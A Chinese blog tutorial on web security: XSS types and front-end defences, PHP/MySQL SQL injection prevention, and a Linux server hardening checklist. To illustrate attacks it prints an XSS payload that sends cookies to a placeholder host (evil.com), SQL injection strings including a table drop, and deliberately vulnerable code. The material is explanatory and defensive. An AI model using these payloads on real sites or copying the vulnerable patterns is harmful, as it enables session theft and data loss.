从漏洞复现到修复：XSS、SQL 注入与服务器加固

Web 安全从来不是某一个环节的事。前端渲染、后端查询、服务器配置，任何一层出问题，整条链路都可能被攻破。本文从三个最常见的风险点出发——XSS、SQL 注入和 Linux 服务器配置——先看漏洞怎么发生，再看怎么修。

一、XSS 的常见方式与前端防御

XSS（跨站脚本攻击）的本质是：攻击者让恶意脚本在别人的浏览器里执行。根据恶意脚本的存储和触发方式，通常分为三类。

反射型 XSS 最常见于搜索框、错误提示等场景。比如页面把 URL 参数直接输出到 HTML 中：

<p>您搜索的关键词是：<%= keyword %></p>

如果访问 ?keyword=<script>alert(document.cookie)</script>，脚本就会执行。这类漏洞需要诱导用户点击特制链接才能触发。

存储型 XSS 危害更大。攻击者在评论区、昵称、个人签名等位置提交恶意脚本，服务端存入数据库，之后每个访问该页面的用户都会中招。常见 payload 如：

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

DOM 型 XSS 不经过服务端，完全由前端 JavaScript 处理不当造成。典型写法：

document.getElementById('output').innerHTML = location.hash.slice(1);

攻击者构造 #<img src=x onerror=alert(1)> 即可触发。

前端防御要点

1. 输出编码，而不是输入过滤。 在把数据插入 HTML 时，根据上下文进行编码：HTML 实体编码、属性编码、JavaScript 编码、URL 编码。不要试图用黑名单过滤 <script>，绕过方式太多。

2. 优先使用安全的 API。 用 textContent 代替 innerHTML，用 setAttribute 代替字符串拼接属性。React、Vue 等框架默认会转义插值，但 dangerouslySetInnerHTML、v-html 会绕过保护，使用前必须用 DOMPurify 等库净化。

3. 启用 CSP。 内容安全策略能大幅限制脚本来源：

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

4. Cookie 加 HttpOnly。 即使 XSS 发生，HttpOnly 也能阻止脚本读取会话 Cookie，降低危害。

二、MySQL 防止 SQL 注入的几种写法

SQL 注入的根源是用户输入被当作 SQL 代码执行。下面用 PHP 为例，展示从危险到安全的几种写法。

危险写法（字符串拼接）：

$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";

输入 ' OR '1'='1 就能绕过验证，输入 '; DROP TABLE users; -- 后果更严重。

写法一：预处理语句（推荐）。 使用 PDO 或 mysqli 的 prepare/bind，让参数与 SQL 结构分离：

$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND status = ?");
$stmt->execute([$_GET['name'], 1]);

这是最可靠的方式，参数永远被当作数据，不会被解析为 SQL。

写法二：命名占位符。 参数多时更清晰：

$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute([':email' => $email]);

写法三：白名单校验配合预处理。 对于排序字段、表名等无法用占位符的位置，必须用白名单：

$allowed = ['created_at', 'name', 'id'];
$order = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'id';
$sql = "SELECT * FROM users ORDER BY $order";

写法四：最小权限原则。 应用连接数据库的账号只授予必要的 SELECT、INSERT、UPDATE 权限，禁用 DROP、FILE 等高危权限。即使注入发生，损失也可控。

需要强调的是，addslashes、mysql_real_escape_string 这类转义函数在特定字符集下仍可能被绕过，不应作为主要防线。预处理才是根本解法。

三、Linux 服务器安全加固清单

漏洞修复只是第一步，服务器本身的安全基线同样关键。以下清单适用于常见的 Web 服务器场景。

账号与认证

• 禁用 root 远程 SSH 登录：PermitRootLogin no
• 使用密钥认证，关闭密码登录：PasswordAuthentication no
• 为每个服务创建独立低权限账号，避免共用
• 配置 fail2ban 自动封禁暴力破解 IP

网络与端口

• 用防火墙只放行必要端口：ufw allow 80,443/tcp
• 数据库、Redis 等服务只监听 127.0.0.1，不暴露公网
• 关闭不需要的服务和端口，定期用 ss -tlnp 审查

系统与软件更新

• 开启自动安全更新：unattended-upgrades
• 定期检查内核和关键组件版本，及时打补丁
• 移除不再使用的软件包，减少攻击面

文件与权限

• Web 目录权限设为 755，文件 644，禁止 777
• 上传目录禁用脚本执行：在 Nginx 中配置 location ~* /uploads/.*\.(php|jsp)$ { deny all; }
• 敏感配置文件（如 .env、数据库配置）权限设为 600，且不放在 Web 根目录

日志与监控

• 启用 auditd 记录关键系统调用
• 集中收集 Nginx、应用、SSH 日志，便于溯源
• 配置异常登录、异常进程的告警

备份与恢复

• 定期备份数据库和关键配置，备份文件加密存储
• 定期演练恢复流程，确保备份可用

结语

XSS、SQL 注入和服务器配置问题看似分属不同层面，但它们的共同点是：信任了不该信任的输入，放松了不该放松的边界。前端做好输出编码和 CSP，后端坚持预处理和最小权限，服务器保持最小攻击面和及时更新——这三层防线叠加起来，才能把风险压到可接受的范围内。安全不是一次性的任务，而是持续的习惯。

未经允许不得转载：任鹏个人博客 » 从漏洞复现到修复：XSS、SQL 注入与服务器加固